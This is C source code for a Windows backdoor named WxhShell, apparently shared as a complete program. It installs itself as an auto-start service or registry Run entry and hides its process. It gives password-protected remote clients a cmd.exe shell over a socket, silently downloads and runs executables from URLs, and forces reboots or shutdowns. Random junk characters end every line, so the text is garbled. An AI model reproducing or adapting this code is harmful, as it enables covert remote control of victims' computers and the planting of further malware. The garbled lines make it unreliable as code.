    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }G]]0Oi2  
    else { # aC}\  
    closesocket(wsh); x[]n\\a?  
    ExitThread(0); M:ttzsd  
    } sviGS&J9h  
    break; kY|<1Ht  
    } {2!.3<#  
  // 获取shell (q)W<GYP  
  case 's': { @ ~PL|Pp_  
    CmdShell(wsh); xMe[/7)4  
    closesocket(wsh); &4DWLI  
    ExitThread(0); <3i!{"}  
    break; gX[6WB"p  
  } y<)x`&pcD  
  // 退出 f+rBIE  
  case 'x': { wEdXaOEB5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |KuH2, n0  
    CloseIt(wsh); Zvc{o8^z  
    break; \hg12],#:@  
    } x k#/J]j  
  // 离开 !aLL|}S  
  case 'q': { T7[ItLZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4]Krx m`8  
    closesocket(wsh); C@xh$(y  
    WSACleanup(); )F:hv[iv  
    exit(1); TtHqdKL  
    break; o_?YYw-:  
        } 1g *4e  
  } J 9z\ qTI  
  } bEM-^SR  
^*Sb)tu\ W  
  // 提示信息 j#29L"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gP`8hNwR  
} vuHqOAFNs  
  } m/<7FU8  
Uc.K6%iI  
  return; k5((@[  
} 7Kfh:0Ihhy  
9mr99 tA  
// shell模块句柄 leiP/D6s  
int CmdShell(SOCKET sock) L.>`;`dmY  
{ ZZ#S\*  
STARTUPINFO si; 0Y{A  
ZeroMemory(&si,sizeof(si)); [^#6.xH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  IS!sJc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; moh7:g  
PROCESS_INFORMATION ProcessInfo; Nb-;D)W;B  
char cmdline[]="cmd"; 1I_(!F{Ho  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~h -0rE  
  return 0; c'[l%4U8[  
} 5MT$n4zKu  
p;g$D=2  
// 自身启动模式 l9\ *G;  
int StartFromService(void) t 7+ifSrz  
{ LG(bdj"NM  
typedef struct < yBZsSj  
{ N\rbnr  
  DWORD ExitStatus; _8S!w>$)  
  DWORD PebBaseAddress; P/4]x@{ih  
  DWORD AffinityMask; [*@"[u   
  DWORD BasePriority; OT+LQ TE  
  ULONG UniqueProcessId; :2}zovsdj  
  ULONG InheritedFromUniqueProcessId; o@vo,JU  
}   PROCESS_BASIC_INFORMATION; tv5G']vO\  
}Dm-Ibdg(  
PROCNTQSIP NtQueryInformationProcess; aH*)W'N?  
.cjSgK1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (]1n!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  LGV"WE  
fQM:NI? 9?  
  HANDLE             hProcess; '`I&g8I\  
  PROCESS_BASIC_INFORMATION pbi; x8w455  
CM_FF:<tn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;mu^WIj  
  if(NULL == hInst ) return 0; voEg[Gg4%I  
ng"R[/)In  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xM'bb5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b 'jZ4{+W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8A#qbBD  
|#>\GU=!  
  if (!NtQueryInformationProcess) return 0; u?i_N0H  
8i;EpAwB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j@ lHgis  
  if(!hProcess) return 0; f.4r'^  
2Gd.B/L6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oSq4g{xvMH  
"k[-eFz/@M  
  CloseHandle(hProcess); . _Bejh  
E9i M-Lw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1YL6:5n  
if(hProcess==NULL) return 0; 8c3Qd  
QX-%<@  
HMODULE hMod; ?#da4W  
char procName[255]; 9KkxUEkW  
unsigned long cbNeeded; LB1LQ 0M  
9Ra*bP ]1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nep0<&"  
V4PI~"4q#1  
  CloseHandle(hProcess); hCS|(8g  
g1UP/hNJ\8  
if(strstr(procName,"services")) return 1; // 以服务启动 e0Zwhz,  
@9Rg g9r  
  return 0; // 注册表启动 R7pdwKD  
} tJ;<=.n  
WBvh<wTw;  
// 主模块 fMgB!y"Em  
int StartWxhshell(LPSTR lpCmdLine)  rl"$6{Z}  
{ CY"&@v1  
  SOCKET wsl; >MwjUq  
BOOL val=TRUE; 78T9"CS  
  int port=0; I&%{%*y  
  struct sockaddr_in door; V C$,Y  
"^Y)&<J&  
  if(wscfg.ws_autoins) Install(); {}RE;5n\['  
ra2sYH1wr  
port=atoi(lpCmdLine); l+`f\},  
<pyLWmO  
if(port<=0) port=wscfg.ws_port; ~$cz`A  
B >2"O  
  WSADATA data; dY[ XNP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z\c^CN  
_$g6Mj]1z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :Yeo*v9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RvrZtg5  
  door.sin_family = AF_INET; |, #DB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sxc^n aK0  
  door.sin_port = htons(port); ;r'y/ Y'?  
IsP-[0it  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P5-1z&9O  
closesocket(wsl); 0se0AcrW  
return 1; x \0( l5>  
} {EU?{ #  
z B/#[~  
  if(listen(wsl,2) == INVALID_SOCKET) { ,t?c=u\5  
closesocket(wsl); "u^%~2  
return 1;  =ie8{j2:  
} Lxz!>JO>  
  Wxhshell(wsl); c$fi3O  
  WSACleanup(); su:~X d  
D#"BY; J  
return 0; YNHQbsZUI,  
dZ^(e0& :H  
} 7uy?%5  
f+3ico]f@  
// 以NT服务方式启动 ~hiJOaCzM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1V ?)T  
{ q+<<Ku(20  
DWORD   status = 0; n/]w!  
  DWORD   specificError = 0xfffffff; $FR1^|P/G  
JzuU k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TEB<ia3+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bzj9U>eY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cl2+,!:  
  serviceStatus.dwWin32ExitCode     = 0; TgC8EcLr  
  serviceStatus.dwServiceSpecificExitCode = 0; 'DLgOUvh  
  serviceStatus.dwCheckPoint       = 0;  j`H5S  
  serviceStatus.dwWaitHint       = 0; e *9c33  
*49({TD6`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {9mXJu$cc  
  if (hServiceStatusHandle==0) return; V/N:Of:\R  
lSW6\jX  
status = GetLastError(); F"I{_yleq'  
  if (status!=NO_ERROR) -O&u;kh4g  
{ V%|CCrR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CB!5>k+mC  
    serviceStatus.dwCheckPoint       = 0; H|UGR ~&  
    serviceStatus.dwWaitHint       = 0; M8Tj;ATr  
    serviceStatus.dwWin32ExitCode     = status; v$n J$M&k  
    serviceStatus.dwServiceSpecificExitCode = specificError; .C HET]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I7=g8/JD  
    return; u V[:e|v  
  } vH[G#A~4  
{Tr5M o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ko7*9`  
  serviceStatus.dwCheckPoint       = 0; [l`_2{:  
  serviceStatus.dwWaitHint       = 0; #k}x} rn<'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t 0 omJP  
} y"bSn5B[  
_U Q|I|V#  
// 处理NT服务事件,比如:启动、停止 "K Or)QD/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S{uKm1a  
{ &Y `V A  
switch(fdwControl) H]I^?+)9  
{ <q}w,XU  
case SERVICE_CONTROL_STOP: PJ$C$G  
  serviceStatus.dwWin32ExitCode = 0; !\'NBq,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KCDbE6  
  serviceStatus.dwCheckPoint   = 0; ='rSB.$Ctk  
  serviceStatus.dwWaitHint     = 0; 7A,QA5G ]C  
  { n8K FP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S`w_q=-^8  
  } 9sQ #v-+Yx  
  return; E: 7R>.g  
case SERVICE_CONTROL_PAUSE: mQ$a^28=qR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l^~E+F~  
  break; Jm#mC  
case SERVICE_CONTROL_CONTINUE: }Cs. Hm0P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r}>q*yx:  
  break; ~ k(4eRq  
case SERVICE_CONTROL_INTERROGATE: 3AQu\4+A  
  break; a ](Jc)  
}; t%k1=Ow5i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .,vF% pQ  
} M94zlW<  
F ]qX}  
// 标准应用程序主函数 #&$a7L}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B8G9V6KS-  
{ e6 &-f  
 sJ3O ]  
// 获取操作系统版本 0`H)c) pP  
OsIsNt=GetOsVer(); eV"Za.a.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 03)R_A  
W]TO%x{  
  // 从命令行安装 $ap6Vxjr  
  if(strpbrk(lpCmdLine,"iI")) Install(); ",O}{z  
P&g.%8b~84  
  // 下载执行文件 ^7p>p8  
if(wscfg.ws_downexe) { S&q(PI_"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) th4yuDPuA  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,ve$bSp  
} Zqp<8M2  
. a@>1XO  
if(!OsIsNt) { E0lro+'lS  
// 如果时win9x,隐藏进程并且设置为注册表启动 pD@2Mt0|]=  
HideProc(); n[f<]4<  
StartWxhshell(lpCmdLine); IncHY?ud<  
} }#bX{?f  
else kv8 /UW  
  if(StartFromService()) jI%g!  
  // 以服务方式启动 Q($.s=&l;  
  StartServiceCtrlDispatcher(DispatchTable); Qzh`x-S  
else '#*5jn]CqB  
  // 普通方式启动 8lJMD %Df:  
  StartWxhshell(lpCmdLine); )=9EShz!  
zZh\e,*  
return 0; C)H1<Br7  
} +\D?H.P  
"Vw;y+F}  
WU:r:m+ >  
;zpSyyp@  
=========================================== 13f@Ox$  
_?m%i]~o  
J;R1OJs S  
'*d);{D8  
CHGV1X,  
:}n\ r/i  
" 97L|IZ s)  
O9/7?"l"  
#include <stdio.h> ]ysEj3  
#include <string.h> ,x]xtg?  
#include <windows.h> wMx# dP4W8  
#include <winsock2.h> oBpoZ @[Z  
#include <winsvc.h> H}f} Y8J{  
#include <urlmon.h> i| /EA7  
Jmcf9g  
#pragma comment (lib, "Ws2_32.lib") "I n[= 2w  
#pragma comment (lib, "urlmon.lib") vi8)U]6  
HuRq0/"  
#define MAX_USER   100 // 最大客户端连接数 wVMR&R<t  
#define BUF_SOCK   200 // sock buffer @TqqF:c7  
#define KEY_BUFF   255 // 输入 buffer ch-.+p3  
qVe&nXo  
#define REBOOT     0   // 重启 MEled:i  
#define SHUTDOWN   1   // 关机 o 00(\ -eb  
3{/Y&/\"'^  
#define DEF_PORT   5000 // 监听端口 6 h%%?  
\[CPI`yQe  
#define REG_LEN     16   // 注册表键长度 C\RJ){dk  
#define SVC_LEN     80   // NT服务名长度 2 g`<*u*  
Kc,=J?Ob  
// 从dll定义API i p"LoCE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yr"BeTrS.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wusj;v4C4M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QGkMT +A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 65g"$:0  
7#G8qh<  
// wxhshell配置信息 na)-'  
struct WSCFG { EsK.g/d  
  int ws_port;         // 监听端口 tpQ?E<O  
  char ws_passstr[REG_LEN]; // 口令 9`8D Ga  
  int ws_autoins;       // 安装标记, 1=yes 0=no =TcT`](o  
  char ws_regname[REG_LEN]; // 注册表键名 y<0RgG1qp  
  char ws_svcname[REG_LEN]; // 服务名 NJqjW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %fH&UFby  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BK/~2u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f?[0I\V[$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *l9Wj$vja  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'ai3f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wx]r{  
[.[|rnil  
}; X 8#Uk}/  
f?P>P23  
// default Wxhshell configuration \]7i-[  
struct WSCFG wscfg={DEF_PORT, ;+6TZqklQ  
    "xuhuanlingzhe", Kb icP<  
    1, ,%!E-gr  
    "Wxhshell", L';b908r2  
    "Wxhshell", {<J(*K*\Jo  
            "WxhShell Service", UU;U,q  
    "Wrsky Windows CmdShell Service", ab/^z0GT  
    "Please Input Your Password: ", t_\;G~O9-M  
  1, *41 2)zEy  
  "http://www.wrsky.com/wxhshell.exe", 6&qT1nF1  
  "Wxhshell.exe" Z+EN]02|  
    }; .r4M]1Of  
8+=-!": ]  
// 消息定义模块 QH]G>+LI5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vXUq[,8yf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (t%+Z"j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6vL+qOdx  
char *msg_ws_ext="\n\rExit."; CG397Y^  
char *msg_ws_end="\n\rQuit."; <^v-y)%N:A  
char *msg_ws_boot="\n\rReboot..."; Hp}dm93T  
char *msg_ws_poff="\n\rShutdown..."; NBaXfWh  
char *msg_ws_down="\n\rSave to "; 7sglqf>  
Ao}J   
char *msg_ws_err="\n\rErr!"; X`' @ G  
char *msg_ws_ok="\n\rOK!"; C(jUM!m  
+@5@`"Jry  
char ExeFile[MAX_PATH]; T:?01?m  
int nUser = 0; FM=- ^l,  
HANDLE handles[MAX_USER]; Ce~ a(J|"  
int OsIsNt; |(Q !$  
.CY;-  
SERVICE_STATUS       serviceStatus; Hi5}s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Aav|N3  
L32[IL|  
// 函数声明 6f^q >YP  
int Install(void); [:Y`^iR.  
int Uninstall(void); |on$ )vm  
int DownloadFile(char *sURL, SOCKET wsh); 9&VfbrBM  
int Boot(int flag); Du7DMo=l  
void HideProc(void); o+F]80CH  
int GetOsVer(void); )&$p?kF  
int Wxhshell(SOCKET wsl); 1.6Y=Mh=i[  
void TalkWithClient(void *cs); z pV+W-j]  
int CmdShell(SOCKET sock); <>I4wqqb  
int StartFromService(void); k}tT l 2  
int StartWxhshell(LPSTR lpCmdLine); "H"4]m1Wc  
YgfQ{3^I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zhW.0:9 CR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fJ8Q\lb<_  
KsR^:_e  
// 数据结构和表定义 lQ!)0F  
SERVICE_TABLE_ENTRY DispatchTable[] = hOH DXc"  
{ gT8%?U:  
{wscfg.ws_svcname, NTServiceMain}, b$O1I[o  
{NULL, NULL} $1< ~J  
}; ^`< %Pk  
XaH%i~}3  
// 自我安装 %*Aq%,.={  
int Install(void) +GDT@,/  
{ }p$@.+  
  char svExeFile[MAX_PATH]; (Ymj  
  HKEY key; GL- r;  
  strcpy(svExeFile,ExeFile); P{tH4V23T  
1,pg7L8H  
// 如果是win9x系统,修改注册表设为自启动 ;VlA~tv  
if(!OsIsNt) { tuWJj^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9X%H$>s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SRfnT?u6  
  RegCloseKey(key); Vub ($  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qQ=\R1l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b8$(j2B~  
  RegCloseKey(key); V3] Z~@  
  return 0; U) B^R  
    } a-(OAzQ_  
  } E>2~cC*  
} hnD=DLW $  
else { <-avC/M$d  
h|Os T  
// 如果是NT以上系统,安装为系统服务 v5Qp[O_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WK)2/$7@  
if (schSCManager!=0) ;E0aTV)Zp  
{ :3$$PdZ  
  SC_HANDLE schService = CreateService ,MRAEa2  
  ( fBZAO  
  schSCManager, <~ 9a3c?  
  wscfg.ws_svcname, nPh| rW=  
  wscfg.ws_svcdisp, ER4j=O#  
  SERVICE_ALL_ACCESS, `:&jbd4H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B^yA+&3HI  
  SERVICE_AUTO_START, Cg4l*"_  
  SERVICE_ERROR_NORMAL, hantGw |  
  svExeFile, 0Xx&Z8E  
  NULL, xfsf  
  NULL, kH9P(`;Vq  
  NULL, .*_uXQ  
  NULL, B!X;T9^d  
  NULL p.50BcDg  
  ); 2zQ62t}  
  if (schService!=0) V\4zK$]  
  { `L#`WC@[o  
  CloseServiceHandle(schService); !`$xN~_  
  CloseServiceHandle(schSCManager); [ _N w5_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t=B>t S.hO  
  strcat(svExeFile,wscfg.ws_svcname); } 63Qh}_Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QW[ gDc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I&lb5'6D  
  RegCloseKey(key); b!hs|emo;  
  return 0; dnXre*rhz  
    } wx2 EMr   
  } ~[H+,+XLY+  
  CloseServiceHandle(schSCManager); Fu;\t 0  
} D Xjw"^x  
} ytkV"^1^  
dd&n>A3O=  
return 1; DE659=Tq  
} h|Z%b_a  
/%4wm?(eA  
// 自我卸载 L2GUrf  
int Uninstall(void) $22_>OsA  
{ :\sz`p?EC  
  HKEY key; "jFRGgd79  
rz'A#-?'oG  
if(!OsIsNt) { IA$)E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %40uw3  
  RegDeleteValue(key,wscfg.ws_regname); BZr$x8%ki  
  RegCloseKey(key); Q(gc(bJV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k.MAX8  
  RegDeleteValue(key,wscfg.ws_regname); MfJ8+3@K  
  RegCloseKey(key); Nu]& ?  
  return 0; &R7N^*He  
  } \ f6@B:?y  
} t<%S_J\  
} q5D_bm7,3  
else { 6Uik>e7?  
njoU0f1`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ) }.<lSw  
if (schSCManager!=0) =iZj&B X  
{ S, g/2k*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hynX5,p;.  
  if (schService!=0) dd=' ;%?  
  { G,]%dZH e  
  if(DeleteService(schService)!=0) { RqnT*  
  CloseServiceHandle(schService); p#fd+  
  CloseServiceHandle(schSCManager); Kx[u9MD  
  return 0; 7=e!k-G  
  } HXY,e$c#y  
  CloseServiceHandle(schService); [->uDbtzL  
  } %n7mN])  
  CloseServiceHandle(schSCManager); yv&VK ht  
} sb^%eUU])  
} N%:)MT,&g  
Y%"6  
return 1; bm Hl\?  
} ;WG6|QgV?-  
H/Wo~$  
// 从指定url下载文件 I<v:x Tor  
int DownloadFile(char *sURL, SOCKET wsh) mxxuD"5  
{ VUD ?iv7  
  HRESULT hr; } eL*gy  
char seps[]= "/"; _ U%fD|t  
char *token; .&R j2d  
char *file; q)Uh_l.Cj  
char myURL[MAX_PATH]; [`'[)B  
char myFILE[MAX_PATH]; $&>z`bAS>  
p=-:Z?EW1  
strcpy(myURL,sURL); K@DK4{  
  token=strtok(myURL,seps); (sHvoE^q-  
  while(token!=NULL) 0 jszZ_  
  { \KpSYX1  
    file=token; luYa+E0  
  token=strtok(NULL,seps); LBs:O*;  
  }  | D?lF  
a`:ag~op@&  
GetCurrentDirectory(MAX_PATH,myFILE); ;K+'J0  
strcat(myFILE, "\\"); a*fUMhIi  
strcat(myFILE, file); vxmz3ht,Q  
  send(wsh,myFILE,strlen(myFILE),0); hrt ]Qn&  
send(wsh,"...",3,0); Cc7YjsRW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P{{pp<tX*&  
  if(hr==S_OK) K}(0H[P  
return 0; kS@6'5U  
else _r6aLm2n  
return 1; S9'8rn!_  
e?"XMY  
} X=Th  
'Itsu~fza  
// 系统电源模块 6,D)o/_  
int Boot(int flag) `!t+sX- n  
{ v o9Fj  
  HANDLE hToken; O_n) 2t(c?  
  TOKEN_PRIVILEGES tkp; pO~lVM  
`QIYnokL  
  if(OsIsNt) { k8~/lE.Wy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H$j`75#u?-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SW^/\cJ^  
    tkp.PrivilegeCount = 1; 5NT?A,r"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mF|7:zSo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ND3(oes+;K  
if(flag==REBOOT) { f Cq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D02_ Jrg  
  return 0; i5QG_^X&  
} gp/_# QVWC  
else { 8LH"j(H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $xWebz0  
  return 0; :())%Xu3  
} qg(rG5kD@  
  } h)vRvfcmY  
  else { /61P`1y(J  
if(flag==REBOOT) { D{4Ehr "T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xK3 xiR  
  return 0; cc"L> XoK  
} w,'"2^Cwy  
else { Fa!6*K\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3*DwXH+  
  return 0; BV9%|  
} f8m%T%]f  
} `(RQh@H  
ylEQeN  
return 1; BgzER[g|q{  
} \8I>^4t'/  
C9`J6Uu  
// win9x进程隐藏模块 @y#QHJ.j  
void HideProc(void)  ?Cu1"bl  
{ 7xmyjy%c  
:n4X>YL)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :4ndU:.L  
  if ( hKernel != NULL )  3e<FlH{  
  { (($"XOU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |#r [{2sS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8, >YB+Hb  
    FreeLibrary(hKernel); z&"-%l.b@}  
  } (Nky?*  
+:s]>R eDa  
return; '_~X(izc  
} XuQ7nlbnq  
KvFGwq"X  
// 获取操作系统版本 UP@a ?w  
int GetOsVer(void) *=-o0c  
{ gD[Fkq$]  
  OSVERSIONINFO winfo; OYWW<N+R2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _Gpq=(q)  
  GetVersionEx(&winfo); D~;hIt*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0NN{2"M$p  
  return 1; l>Nz]Ul%{  
  else ON(H7  
  return 0; P&ig.Og*  
} ?H c~ 3  
j:yQP# U  
// 客户端句柄模块 IQZBH2R  
int Wxhshell(SOCKET wsl) ]aqHk  
{ ; FO1b*  
  SOCKET wsh; k{fCU%  
  struct sockaddr_in client; z)Y<@2V*C  
  DWORD myID; &IQp&  
pP4i0mO{Dv  
  while(nUser<MAX_USER) N@M(Iw  
{ sGf\!w  
  int nSize=sizeof(client); JY\8^}'9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P(_wT:8C?  
  if(wsh==INVALID_SOCKET) return 1; FN#6pM']|  
T:$zNX<f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n\nC.|_G@  
if(handles[nUser]==0) "%c\i-&t  
  closesocket(wsh); k~(j   
else d2Z kchf  
  nUser++; Y4%Bx8  
  } +DWmutL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9I a4PPEH1  
?G5JAG`  
  return 0; .b4_O CGg  
} xZ51iD $  
[e2sUO0~r  
// 关闭 socket ;CU<\  
void CloseIt(SOCKET wsh) qsB,yckml  
{ -%&_LE9ZtS  
closesocket(wsh); -fl?G%:(!0  
nUser--; FtUOgL)|  
ExitThread(0); |g5B==KI  
} ;;zKHS  
U&fOsx?"  
// 客户端请求句柄 ~RQ6DG^  
void TalkWithClient(void *cs) }w \["r  
{ }lzyl*.  
C043h?x  
  SOCKET wsh=(SOCKET)cs; ` Nn^   
  char pwd[SVC_LEN]; :*bmc/c  
  char cmd[KEY_BUFF]; Gs*FbrY  
char chr[1]; U9D4bn D  
int i,j; 4:\s.Z{!3  
g)*[W>M  
  while (nUser < MAX_USER) { f-9& n4=H  
yZ[H&>  
if(wscfg.ws_passstr) { ubV|s|J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \*}JdEHB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /znW$yh o  
  //ZeroMemory(pwd,KEY_BUFF); ,}!OJyT  
      i=0; (k9{&mPJ  
  while(i<SVC_LEN) { ]Dm'J%P0}  
DnA}!s  
  // 设置超时 &zsaVm8  
  fd_set FdRead; K2T&U$ ,  
  struct timeval TimeOut; *p;Fwj]  
  FD_ZERO(&FdRead); 1}e1:m]r  
  FD_SET(wsh,&FdRead); XqVhC):  
  TimeOut.tv_sec=8; K/Q^8%Z  
  TimeOut.tv_usec=0; aOq>Ra{T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [>P@3t(/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^$):Xz  
T}(J`{ 9i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .6%-Il  
  pwd=chr[0]; =,0E]M Z  
  if(chr[0]==0xd || chr[0]==0xa) { QN_Zd@K*A  
  pwd=0; Zx(VwB2   
  break; Egv (n@1  
  } 8LP L4l  
  i++; _ x&Y'X|  
    } 8(UUc>g  
R07Kure  
  // 如果是非法用户,关闭 socket w/r wE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U2=l; R{  
} ,K Ebnk|i  
=6b^j]1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &B uO-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SxLu<  
gc-yUH0I  
while(1) { #%U5,[<a8  
-W(O~AK  
  ZeroMemory(cmd,KEY_BUFF); )s6pOxWx  
c>~"Z-VtX  
      // 自动支持客户端 telnet标准   WjxO M\?#  
  j=0; l~,5)*T  
  while(j<KEY_BUFF) { $LLkYOwI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A-\OB Nh  
  cmd[j]=chr[0]; nwh7DU i  
  if(chr[0]==0xa || chr[0]==0xd) { F}P+3IaE  
  cmd[j]=0; [*U6L<JI  
  break; n7`R+4/s  
  } !es?GJq`  
  j++; M]YK]VyG  
    } 5" <7  
u1F@VV{  
  // 下载文件 Jg=[!j0(  
  if(strstr(cmd,"http://")) { q"OvuHBSOn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [psW+3{bG  
  if(DownloadFile(cmd,wsh)) <A +VS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R]e?<,"X  
  else c%_I|h<?iT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UD`bK a`E  
  } '#REbY5ev  
  else { M XsSF|-  
N;e d_!  
    switch(cmd[0]) { b f.__3{  
  5LU8QHj3  
  // 帮助 ; F% 3b47  
